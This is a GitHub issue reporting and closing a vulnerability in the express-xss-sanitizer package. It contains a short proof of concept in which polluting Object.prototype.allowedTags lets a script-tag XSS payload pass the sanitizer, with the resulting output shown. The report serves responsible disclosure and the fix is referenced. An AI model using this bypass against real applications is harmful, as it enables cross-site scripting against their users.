Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

XSS bypass by using prototype pollution #4

Closed
jayateertha043 opened this issue Sep 20, 2022 · 1 comment
Closed

XSS bypass by using prototype pollution #4

jayateertha043 opened this issue Sep 20, 2022 · 1 comment

Comments

@jayateertha043
Copy link

jayateertha043 commented Sep 20, 2022

Issue: express-xss-sanitizer doesn't sanitize xss payloads properly, when the client is already affected by prototype pollution.

Affected versions: v1.1.2 and earlier

Code -

//Refer https://research.securitum.com/prototype-pollution-and-bypassing-client-side-html-sanitizers/ for more information

var expressXssSanitizer = require("express-xss-sanitizer");
var data = "<h1>Hi</h1><script>alert()</script>";
Object.prototype.allowedTags = ['script'];
data = expressXssSanitizer.sanitize(data, {});
console.log(data);

Output -

"\n\n⚠️ Your `allowedTags` option includes, `script`, which… option\nand ensure you are accounting for this risk.\n\n"
"Hi<script>alert()</script>"

For Live POC - https://runkit.com/embed/w306l6zfm7tu
Refer https://research.securitum.com/prototype-pollution-and-bypassing-client-side-html-sanitizers/ for more information.

@AhmedAdelFahim
Copy link
Owner

Issue: express-xss-sanitizer doesn't sanitize xss payloads properly, when the client is already affected by prototype pollution.

Code -

//Refer https://research.securitum.com/prototype-pollution-and-bypassing-client-side-html-sanitizers/ for more information

var expressXssSanitizer = require("express-xss-sanitizer");
var data = "<h1>Hi</h1><script>alert()</script>";
Object.prototype.allowedTags = ['script'];
data = expressXssSanitizer.sanitize(data, {});
console.log(data);

Output -

"\n\n⚠️ Your `allowedTags` option includes, `script`, which… option\nand ensure you are accounting for this risk.\n\n"
"Hi<script>alert()</script>"

For Live POC - https://runkit.com/embed/w306l6zfm7tu Refer https://research.securitum.com/prototype-pollution-and-bypassing-client-side-html-sanitizers/ for more information.

solved here: #5

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
Labels
None yet
Projects
None yet
Development

No branches or pull requests

2 participants